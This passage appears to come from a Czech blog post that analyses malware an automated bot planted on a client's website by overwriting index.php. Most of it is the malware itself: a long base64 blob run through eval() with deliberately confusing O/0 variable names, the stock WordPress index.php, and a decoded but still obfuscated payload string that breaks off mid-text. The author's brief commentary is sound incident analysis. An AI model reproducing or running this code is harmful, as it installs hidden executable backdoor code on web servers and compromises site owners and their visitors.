09wY3NiWDBXUnU2Q2M4dENJRUhRMHdod3Z3aEJjV0p3VkVLbzBYc1ExS3RvaDRJQ2NKYXBPMVhOT0VUTkk0dENjTmFwUlhqVU81WFVCUTdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZU2tQMlh5SllKOFB0SitKSTR2VzJ3SXpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bGlvWFRXWWxUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZUzlmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKT3dkZ084bHBycWJVMjUwSlJBMFpCcWtzaHBkVTJxeU5kVGNpQktJc2JXNlUzU2tVSVNhVWNTa1pPa3JXUkdYc1k5YlUyNTBzZHFJTmQ0dENJRWVXUkVGQ0lONkNjOHRDSUVIUTB3aHd2d2hCY1dKd1ZFS28wWHNRMUt0b2g0SUNjSmFwTzFYTk9FVE5JNHRDY05hcFJYalVPNVhVQlE3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZRTNpQkpsc2h1dmdSRTBOVjkzaUJKYXByZXlDY05hcE9XeVcyd0lDSU55TjJrMGlCMVhOWTVGZ1J1L2lPVjBpeDB0Q0lFVGlZNHRwdEVrVW91OXBjNHZXT3dqTlk0dHB0V2tQZDB0Q0lFZVUzQTBDSU5iWk8xTHNoTmFwT0UwQ0lOYlVCVkZXUmtGaXgwdENJRWpQb1MwWm9Ta0NJTmJnUkUwTmYwdENJRWVXUkVGekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZU2tQMlh5SllKOFB0SitKSTR2VzJ3SXpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWVNrWk9rMG5ZdjdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdWxKWXVsZ0JQZWliOUZpQjRlcE8xWE5PRVROSTR0Q2NOYXBSWGpVTzVYVUJRTEpZcDNKSXZUWkYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSllFNFVCRmxzaFMwTmJram5SQWpVM3cwaU84ZXBSV2tQSXZUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk9rYm5SQTBOYmtyV1JKZXBSWGpVWUZ0VWI4bFAzcGtQb0tsVUJWRnBjdlRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44aWI5YVdZU3JXUmtMaXgwSVAyOUxVM0o2TmJ3dkpkNWFVY1NkTmJ3WFdZU2pQb3VYc1k5YlUyNTBzSU43ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpPdzRnb0s3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSEswbkpZdWxKWXVsSll1bEpZdWxKWXVsSllFalpCaVRVT1Fsc2hTYlUzU2tVSWx2VUJWRmlPa2NDSU55cGM0dlpPMUxVYlZqaWhGbEp0TklueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNiVzNwVFdPUWVwTzE1aWJrTGloRmxwUlhqVVl2N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bGliQUxVM0FrbllFalpCaVRVT1FUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxKYjlNc09wY3NJSmFwT1gwV1J1YUpkZXlDY0phcFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV0NJSnlKSTR2VUJWRmlPa2NDSU55cGM0dlpPMUxVYlZqaXhMQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWUo4UHRKK0pJNHZXMndJekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93NGdvS2VueExBWUl1bEpZdWxKWXVsSll1bEpSMWtVUkFrWkYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk9pZFVPOXJpaGx2VW9rYmdCcWtueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNrUDJYeUpZTjhpYjlhV1lTcldSa0xpeDBJUDI5TFUzSjZOYnd2SmQ1ZE5id1hXWVNyZ29Fa1VCVkZKT2lYZ0Jxa0pENXlKVlNrTmIxVE4zQVRVMjVySnhGeWliOWFXZjQ4UHRKK2dSRTBOZmV5Q2NOYXBWOXhFd3BCRXdwVXAwWFF3VlNIaEQ5eHdZV1dDSUp5Skk0dlVCVkZpT2tjQ0lOeXBjNHZaTzFMVWJWaml4TEFZSXVsSll1bEpZdWxKWXVsSll1bEpZU2tQMlh5SllKOFB0SitKSTR2VzJ3SXpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPdzRnb0tlbnhMQVlJdWxKWXVsSll1bEpZdWxKUjBBWUl1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSllTVGlJWGJVM1NrVUlsdlpPMUxVYlZqaWhGbEp0TkluaGs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVscFJYalVZdTlKUkVjZ0IwZU4yMXlXb0V2VWNsdlcyd0luaHY3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsZ0JQZU4zRWNnb0EwTklsdlpPMUxDWVdhVWNTZE5id1hXWVNqUG91dG5oazdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxwcnFiVTI1MEpSQTBaQnFrc2hwZFUycXlOZFRjaUJLSXNiNXlKT0FjaUJWMEpPMVhOWUQ4QzJpeVV0SytwckxBWUl1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bGlvWFRXZkxBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVM5ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVscE8xNWlia0xpaHU5Sk9peU5Pd2FuWUU0VUJxYVBCMWtDWXVJV2NKVHpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPaTNOYmswaWhsdlVva2JnQnFrQ1l1dlpPMUxueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNiUDJxeU4yUWVwTzE1aWJrTGlodjdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxpQkFlVWN1SVUyTDhQdEorSkk0dmdSRTBOWTRJekk4eUpJNHZvMUFWUWtpVlFrTHRoVkVRUVY5SngxQVFwMTBhSkk4SUNJRTRVQnFhUEIxa3pGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPd2RnTzhsSmRxSU5kNElDSUUzaUJKN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bGlvWFRXWWxUekYwbkpZdWxKWXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bGliQUxVM0FrbllFalpCaVRVT1FUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxwcnFiVTI1MEpSQTBaQnFrc2hwZFUycXlOZFRjaUJLSXNiQWNpQlYwSlJBVFdPd2pQb3VsaWJWVFVPUWx4YjhsUU93Y1VCa3JOMmt5VXRHWHNZOWJVMjUwc2RxSU5kNHRDSUVlV1JFRkNJTjZDYzh0Q0lFSFEwd2h3dndoQmNXSndWRUtvMFhzUTFLdG9oNElDY0phcFJYalVPNVhVQlE3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsaUJBZVVjdUlzT3Bjc0lKYXBSV2tQZExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNrWk9rMG5ZdjdmS2VsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpSMEFZSXVsSllTOWZLZWxKWXVsZ0JQZXBPa3Zub0xBWUl1bEpZdWxKWXVsS09Ya1BCRWtOSWxJSzI5YVdPd2FXWTEwWm9Ta3pJUzBpb1gwQzJYMFVCRjdKT0FlUG9wcmlvSzlXb0ViQ3hsSW54TEFZSXVsSll1bEpZdWxwUldrUEl1OUpZRWVXUkVGbzNXa1BJNHR6STh5cGM0dmkyOTNpQkphcGM5VFViRWtaWTVGZ1J1L1dvcExzaE5hcFJBVFdPUWFwY2lUaWYwdENJRVRpWTR0cHRFa1VvdTlwYzR2V093ak5ZNHRwYkUwc2hOYXBPRTBDSU5iVzJ3SXNoTmFwT1h5TjNLYXBjaTZaZDB0Q3RBamdvQUlVM0tlbmg0dHBiQUxVMkFNc2hOYXBPQUxVMkFNQ0lOYldvcFRzaE5hcFJBaldvcFRDSU5iV29wTE4yWFhVYk45cGM0dldvcExOMlhYVWJOYXBjaWVXUkVGc2hOYXBPWDBXUnU3ZktlbEpZdWxKWXVsSllFZVdPMUxvMkF5VXRFa1V0S2xzaFMwTmJram5SQWpVM3cwaU84ZXBSV2tQSXZUekYwbkpZdWxKWXVsSllTVGlJbFhOM0VjTjNFY25ZRWVXTzFMbzJBeVV0RWtVdEtMcDI1eVBiOTBXb0FrTmJWdGlCNTBwY3ZUWkYwbkpZdWxKWXVsSll1bEpZdWxnQlBlTjNFY04zRWNuWUVlV08xTG8yQXlVdEVrVXRLTHAyOU1nUkVqVU9Xa1dPQXlVdEVrVXRLdG5oazdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxwT1gwVUJxSFAyOWFXT3dhV1l1OUpSQTBOazljaW9TTFBCQWtuWXB5ZzJYMFVCcXRpb0VkVTI1MGlCNTBKSUZ0cGNGdmdSRWpVVjlkVTI1MGlCNTBueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNrUDJYeUpZRWVXTzFMbzJBeVV0RWtVdEs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsaW9YVFdZbFR6RjBuSll1bEpZdWxKWXVsSll1bEhCd0xOMlFsZ0JQZU4zRWNOM0VjbllFZVdPMUxvMkF5VXRFa1V0S0xwMldrV09BeVV0RWtVdEsxR2ZTRlBCV2twY3ZUWkYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSkRTZWlCVnZpb0plcDBYUXdWdXlHaDRxSmZRRkdZU3BVdEVrTmI1WFVZU3hpb3AyaW9KbEVvcGNVM0p0bnhMQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1pPazBuWXY3ZktlbEpZdWxKWXVsSll1bEpZUzlpQnFyaWhTVGlJWHJXUnByV1JKZXBPWDBVQnFIUDI5YVdPd2FXWUZ0aTJ3MFAyOWFXT3dhV2ZLRkFSU1hpMlF0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEtPWGtQQkVrTklsdGhWRVFRWThxQ2REbEFmdTBKRDV5V1lTT1Uzd2FpWU5UekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93NGdvS2VueExBWUl1bEpZdWxKWXVsSll1bEpSMEFZSXVsSll1bEpZdWxISzBuSll1bEpSMEFZdDFrVVJBa1pGMG5mS2VsSll1bHBSV2tQSXU5SllFZVdSRUZvM1drUEk0dHpJOHlwYzR2aTI5M2lCSmFwYzlUVWJFa1pZNUZnUnUvV29wTHNoTmFwUkFUV09RYXBjaVRpZjB0Q0lFVGlZNHRwdEVrVW91OXBjNHZXT3dqTlk0dHBiRTBzaE5hcE9FMENJTmJXMndJc2hOYXBPWHlOM0thcGNpNlpkMHRDdEFqZ29BSVUzS2VuaDR0cGJBTFUyQU1zaE5hcE9BTFUyQU1DSU5iV29wVHNoTmFwUkFqV29wVENJTmJXb3BMTjJYWFViTjlwYzR2V29wTE4yWFhVYk5hcGNpZVdSRUZzaE5hcE9YMFdSdTdmS2VsSll1bHBPWDBVQnFIUDI5YVdPd2FXWXU5SlJFY2dCMGVOMjF5V29FdlVjbHZXMndJbmh2N2ZLZWxKWXVsZ0JQZUpvQTBOdEEwTklsdmdSRWpVVjlkVTI1MGlCNTBDWVdhVTJweVdSd3Jpb3BYaTJ3YVdZTlRub0xBWUl1bEpZdWxKWXVsS09Ya1BCRWtOSWxJSzI5YVdPd2FXWTEwWm9Ta3pJUzBpb1gwQzJYMFVCRjdKT0FlUG9wcmlvSzlXb0ViQ3hsSW54TEFZSXVsSll1bEpZdWxnQlBlTjNFY04zRWNuWUVlV08xTG8yQXlVdEVrVXRLTHAyOU1nUkVqVU9Xa1dPQXlVdEVrVXRLdG5oazdmS2VsSll1bEpZdWxKWXVsSll1dmdSRWpVVjlkVTI1MGlCNTBKZjBsTjNFY28zcGtOT3FYUDJRZUpiOU1nUkVqVU9Xa1dPQXlVdEVrVXRLSUNZTnRDWUVlV08xTG8yQXlVdEVrVXRLVHpGMG5KWXVsSll1bEpZdWxKWXVsaUJBZVVjdXZnUkVqVVY5ZFUyNTBpQjUwekYwbkpZdWxKWXVsSll1bEpZdWxpb1hUV1lsVHpGMG5KWXVsSll1bEpZUzlpQnFyaWhTVGlJWHJXUnByV1JKZXBPWDBVQnFIUDI5YVdPd2FXWUZ0aTJ3MFAyOWFXT3dhV2ZRRkdSU1hpMlF0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVN1Z093WGlPd2NuWVdKd1ZFS0NyRGFHaHUxR2Z1bGhCNTBpb3BhUEJGbFEyd2NXYndjSkR3Y05iOWNwY3Y3ZktlbEpZdWxKWXVsSll1bEpZU2taT2swbll2N2ZLZWxKWXVsSll1bEpSMWtVUkFrSk9rYm5SQTBOdEEwTklsdmdSRWpVVjlkVTI1MGlCNTBDWVd0aW9FZFUyNTBpQjUwQWZ1ME5PVnRpaE5Ubm9MQVlJdWxKWXVsSll1bEpZdWxKRFNlaUJWdmlvSmVwMFhRd1Z1eUdoNHFKZktGQVlTelUzS2xFYjkxVWJLdG54TEFZSXVsSll1bEpZdWxKWXVsSk93NGdvS2VueExBWUl1bEpZdWxKWXVsSEJ3TE4yUWxnQlBlTjNFY04zRWNuWUVlV08xTG8yQXlVdEVrVXRLTHAyV2tXT0F5VXRFa1V0S3JHZlZGUEJXa3BjdlRaRjBuSll1bEpZdWxKWXVsSll1bEtPWGtQQkVrTklsdGhWRVFRWThxQ2REbEdydXFKRDF5V2J3dkpWU2tOYjFYVWJ3YVdPcTVwY3Y3ZktlbEpZdWxKWXVsSll1bEpZdXZnUkVqVVY5ZFUyNTBpQjUwSmYwbE4zRWNvM3BrTk9xWFAyUWVKYldrV09BeVV0RWtVdEtyR2ZWRlBCV2tKSUZ0cGNGdmdSRWpVVjlkVTI1MGlCNTBueExBWUl1bEpZdWxKWXVsSll1bEpPWGtQQkVrTklsdHhPOWRQb0VUVTI0NkpZTmFwT1gwVUJxSFAyOWFXT3dhV1l2N2ZLZWxKWXVsSll1bEpZdWxKWVNrWk9rMG5ZdjdmS2VsSll1bEpZdWxKUjBBWWwwbkpZdWxKUjBBWXQwQVlsMG5pdHdhUDNFVFUyNGxOMjFUTjJweVdZbFRKUkxBWUl1bEpZdXZQQldrVXRLbHNoU3JXUnAwVTJxeVcyd2NuWUVIUTB3aHd2d2hCY1dKd1ZFS28xd3hFd3BIS1FXVnhrS3RvaHY3ZktlbEpZdWxnQlBsbllFWGkyd2FXWXVYc2h1SUpJdmxaRjBuSll1bEpZdWxKWXV2aTI5eWkycWtLYjkwSmYwbFBvcGNQb3ZlSnZXeVUyV0xpQnB5V1lKTEpra1hnTzl5SmhTeFVSd2NOWUpMSmtrWGdPOXlKVkFMV29wRkpJRklFMjl5aTJxa0pEVnZRMndhTjJRSUNZV3RVMjl0VU9RdENZdXRaQlZlVTI4dG54TEFZSXVsSll1bEpZdWxpYjljaUJWZGdZdWVwT1d5VTJXTGlRcHlXWVNYTmN1dldiVkxuaFM3ZktlbEpZdWxKWXVsSll1bEpZdXZOM0VjSmYwbE4zRWNXTzlMVTNXa05JbHZXYlZMbnhMQVlJdWxKWXVsSll1bEpZdWxKT2tiSllYcldScEZVM0dlcE9WdGlCNTBDWXV2TjNFY25odmxaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKUnBrV1J3Y1VJUzBOdHdrekYwbkpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWVM5ZktlbEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpScGtXUndjVUlTYlBCcXJpeExBWUl1bEpZUzlmS1Q5ZktUYldCNWRXT2t5VUlTclVCOTBnT3djUGI5MG5ZdmxaRjBuSll1bEpZRVhpMndhV1l1OUpSQTBOdEV5VU85M2lvSmVwVjl4RXdwQkV3cFVwMFhRd1ZTSHd3QVZRazlTRTB3endZV1dueExBWUl1bEpZU1RpSXVlcE9WdGlCNTBKWUQ5SllKSW5oUzdmS2VsSll1bEpZdWxKWUVyTk9rdmlvcHhnb0VrSmYwbFBvcGNQb3ZsbllwUWlCNWRpQjUwd1JwWFdid0xpb0pJQ1lwak4yNUlVM0tJQ1lweFUzQXlOM1NUaU93Y25jSkxKa0F5aTI5MUpSV2tQSVNyTk9rdmlvSklDWXBUUHc5WE5iQWVnb2lrTklKTEpra3lXQkVYVTBweVdZSkxKdjF4eHZweVdZSkxKdlRYV2JEbG5EOWJXT3dhSlJBRlBCMGxQYjkwbmhKTEp2cFhnUUUxUTNTVGlPd2NKSUZJd2I5VFVPRElDWXBpUEI1dmlvbGxQYjkwSklGSUtrQUZnQkVrTklKTEp0RTNnQkFrVU93Y0pJRklRMjl0VTNRbFEzU1RpT3djSklGSVEzU2tpQkU1SlZBRmdCRWtOSUpMSnZYa05iazBOYms0SklGSVFSazBnTzlhQ293Y1VPcVRQSUpMSnZWTGlvWFhKWVhwS2hTU05iQWVnb2lrTkl2SUNZcFNOMkxJQ1lwVlpPVklVM0tJQ1lwZldvQTBVY0pMSnY5MVdPaXlaRHB5V1k5aVUyRVhVMHB5V1lKTEp0a1hQM3ZJQ1lweFdvcDJpb2tZVTNLSUNZcExpQldySklGSVVSV0ZDb0VjZ29pVFBCRklDWXB6V29FZGdZSkxKa0EwUEJBTVFiVmpQYnFrTklKTEprRWVpaFMzaUJKbFBvcGRnT2syaWh1ZWhRRGxLb3BkZ09rMmlvSlRKSUZJUU93Y1VZUzBVMjlMSklGSXhRZXFHYnB5V1lKTEp2NWtXT0FjUEJpMEpJRkl4d0FwRVFBY1BvV0xpb0pJQ1lwb0UydzBKUkV5VTJxckpJRklVT1ZjUGJrYUpJRklFYmtyZ1lTcmlCVmNQMmxJQ1l1dFBia2FpMnB5V1lOTEpZV0lQQmt2V2hOTEpZV1hVMkZ0Q1l1dFBia2FpY05MSllXaVBCNXZpb1hZVTNLdENZdXRLQlhjaUJpcktiOTBwY3Y3ZktlbEpZdWxKWXVsSk9peU5id1hQMmxsbllFck5Pa3Zpb3B4Z29Fa0pPVnJKWUUyUEJGVEpSTEFZSXVsSll1bEpZdWxKWXVsSllFcldSSmxzaFNyV1JwMFUycXlXMndjbllFMlBCRlR6RjBuSll1bEpZdWxKWXVsSll1bGdCUGxuUkEwTnRTeU5jbHZQQldrVXRLTEpZRXJXUkpUbmhTN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bE5idzBXb3BhSlJFY1dCUTdmS2VsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpSMEFZSXVsSllTOWlCcXJpb0xBWUl1bEpZdWxKWXVsTmJ3MFdvcGFKT2lYVVJBa3pGMG5KWXVsSlIwQVl0MEFZYmkxVWJBMGdCOWFKUkFqVTN3MGlPOGVwUndjVVlrN2ZLZWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFN1aWJrTGl3OXRpb0VIUDI5YVdPd2FXUkdlcFJ3Y1VZdjdmS2VsSll1bGdCUGxuWUR2aWJrTGl3OWRVMjUwaUI1ME5jdmxaRjBuSll1bEpZdWxKWXV2UDJsbHNoU2RXb3BMbzJrYWdvS2VueExBWUl1bEpZdWxKWXVsUDN3Y1VWOXJpb0V5TlJLZXBPQWVDWVNmd3dwR3gxU1FvMXdoeFlGbHBSd2NVWXY3ZktlbEpZdWxKWXVsSk9BMU5icUhOMncwVTNTMG5ZRWRnWUZsSzF3aHhEOUt3VjloRXdFd1F2NVFRdlZ6UTBpVlFJRnFueExBWUl1bEpZdWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFNkV29wTG8ydzRpQkdlcE9BZW54TEFZSXVsSll1bEpZdWxQM3djVVY5ZFVPOXJpaGx2UDJsVHpGMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93SFAyOWFXT3dhV1JHN2ZLVDlmS1RiV0I1ZFdPa3lVSVNMZ29BMEVPa2NuWUV2Z29KVFpGMG5KWXVsSllFYmdCcWtQb3BjSmYwbFBvcGNQb3ZlbnhMQVlJdWxKWVNUaUlYVE4xOXZnb0plcE9FVE5JdlRaRjBuSll1bEpZdWxKWVNUaUl1ZXBPRWVKZjBsVTNTa1ViRVROSWx2aU9rY25oazdmS2VsSll1bEpZdWxKWXVsSllTM2dPa0xpaHVlbllFYmdCcWtKZjBsTmJ3WGlPRVROSWx2aU9sVG5odVhzeDBsaWJWTE4yUVRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKT2tibllYYmdCcWtvMnc0Z29BME5jbHZpT2tjQ0lKeUpJNHZpYmtMaWh2VEpZUGJKWUViZ0Jxa0p4MElDSUpscElQbHBPaVRVT1FYc2hKYUNJSlRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1dmlia0xpQlZjTmtqV0pmMGxwT2lUVU9RN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdWxKWXVsSEswbkpZdWxKWXVsSll1bEpZdWxQMnF5TjJ3dmdvSmVwT0VlbnhMQVlJdWxKWXVsSll1bEhLMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93WE50SjdmS1Q5ZktlL3NsPT0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7")); ?><?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );?> Vlastně to ani nebyl inject, nýbrž na ostro replacnutý index.php z wordpressu (klientský web jede na nette aplikaci - k wordpressu má daleko). Vypadá to na práci automatizovaného bota, kterému se povedlo prolomit nějakou známou díru a prostě tam plácnul připravený index.php, který měl udělat zbytek práce. Všimněte si prvních dvou řádků kódu - nastavuje dobu pro dokončení kódu na 1 hodinu + povoluje spuštěnému kódu pokračovat i přes přerušení načítání uživatelem. Zbytek je příprava proměnných pro další práci injectu (nechápu proč je nemá také v base64 kódu, jelikož ten také obsahuje další globální proměnné). Další zajímavostí je snaha o zmatení čtenáře kódu proměnlivým používáním nul a óček v názvech pracovních proměnných pro překlad kódu (viz. $O00OO0) První věc co mě zajímala byl obsah base64 enkryptu, který byl evalován - https://www.base64decode.net/ $O0O000="TSuJwhrpBvmnAVGKLOcWNjQiXylUCtgsFZEPYoDqaMkHxzfdebRIxhapFXMTSybtuwOnCzNBAdKIockQYjlLViDsPefmgGvRqrHWZUEJsf9FgRulfKevgbETNIu9JYNtzF0npOX0WRSHW2wIJf0lp2X0WRutzF0ngBPegoAHgRE0NRGenhk7fKelpOX0WRulshutgRE0NRGtzF0nHBwLN2w7fKelpOX0WRulshutgRE0NYN7fKT9fKevN211NbkHWO1FJf0lN21cioV1ioA0o3wcghlTzF0ngBPepRAjWopTo3EjNf09pcNTZF0nJYulJYErUowcgw90Uou9pc8tzF0nHK0npRGlshutPINap2VrixPtCIN0o2QtCIWaP29vihN7fKevN211NbvlshuvNclvN211NbkHWO1FnxLAYbi1UbA0gB9aJRAjNbwqWBwrWV91NbvenoLAYIulJYSTiIuegoArioKepV9xEwpBEwpUp1pVQwwVQ1EHwwppp10TnoLAYIulJYulJYulpRAjWopTJf0lpV9xEwpBEwpUp1pVQwwVQ1EHwwppp107fKelJYulHBwLN2w7fKelJYulJYulJOkbnOkrN2w0nYEHQ0whwvwhBcWXNbW2p10TnoLAYIulJYulJYulJYulJYErUowcghu9JYEHQ0whwvwhBcWKhVSHQ0wGEIWWJY4lpr8tJY4lpV9xEwpBEwpUp2Vci3PtowLFoxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuvN211Nbvlshuvo1AVQkiVQkLtQDXKo1AVxDPtohuaJYN/pcuaJYEHQ0whwvwhBcWEwQwhBw9xwVppxvNtoxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpRAjWopTzF0nHK0npOWyW2wIJf0lp2E0gOkcWRvjiBktgRKcCtATi2iyZOiyWB5vPoETU25tCtAeU3utzF0npRSXN3A3U3pvJf0lUBK1nO1vAhXupV9REwEUp3Svp10TnxLAYbkbJYlvNOVrN3WyNbKlsx0lprwbPbPrAbP2PdDFArSXiBG2ABPFGOAIzOQrABG5P2G0pcvlZF0nJYulJYEXiOEHP29aWOwaWYu9JDuvo0WVwVLtUBVFUbVjihWWzF0nJYulJYEXP3ETU24lshSupV9REwEUp2VdWOkyUIWWzF0nJYulJYEvU21XgB4lshSupV9REwEUp2EyUBVTUIWWzF0nJYulJOkbnYEvU21XgB4TZF0nJYulJYulJYuvgO9rWYu9JYEvU21XgB47fKelJYulHBwLN2w7fKelJYulJYulJYEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJR0AYIulJYuyCcEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJYEFPoEeJf0liOkcUbVjihXHo0ipxDwHocv7fKelJYulgBPepOVdWOkyUd09p3STUbNtnoLAYIulJYulJYulCc9eWREFNreyC3W3Wc5tU29tUOQaP29jC3STUbN/N2k0iB1XNf1eWREFNreyC2w4PB1FUOQaP29jC3ATWOwjPouaZO1LfKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJR0AYIulJYulJYulJYulJY8yQ2k0iB1XNfelgRE0NfeyC3W3Wc5tWBEXUbWriBXXWY5dU20yUBVFgB5violaZO1LfKelJYulJYulJYulJYSTiIXrWRpTN3EcnRAjU3w0iO8epOEXWOVHUbw3nhFti29yi2qkpcvTZF0nJYulJYulJYulJYulJYulJOwdgO8lprqINd5ygrqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYuliBAeUcuviOV0Pw9aioNaprqINd5FgB5tJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJOwdgO8lprqINd5rgoEkUBVFJO5XUBQlibVLN2QXsOpcsIN7fKelJYulJYulJR0AYIulJYulJYulioXTWfLAYIulJYS9fKeAYIulJYuvibkLiw9FPoEeJf0lpRSXWOlapc9cU2pyWRGaWRX0prLAYIulJYSTiIlXpOVdWOkyUIk7fKelJYulJYulJYEXP3ETU24lshutNRw0prLAYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutNRw0pck7fKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXbgBqko2w4goA0NclvibkLiw9FPoEenhk7fKelJYulJYulJYulJYulJYulpOEXWODlshSrUB91WOEynYEbgBqko3SXWOlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWODlshutwoAkNI1Xi2waWfelnl0nKBqLU3N6JY8tzF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeN3EcN3EcnYEvPoEXCYNypc4vPBEvo2AyUtEkUtKTnoLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSXURpkPBE5JOVviOwvJxqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulgBPegoAHgRE0NRGenhk7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulCc9xgoEkUBVFzISeWREFzI8yW3W3CbW1iOVai3AkgOV0CbAyUh9jPoSTUbEkZY54UBFAYIulJYulJYulJYulJYulJYSTiIXbgBqko3S1WV9dU250iB50NclvibkLiw9FPoEeCYEvPoEXo25kWcvTJRLAYIulJYulJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqINd5bgBqkJRWcgoEkJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulJYulJR0AYIul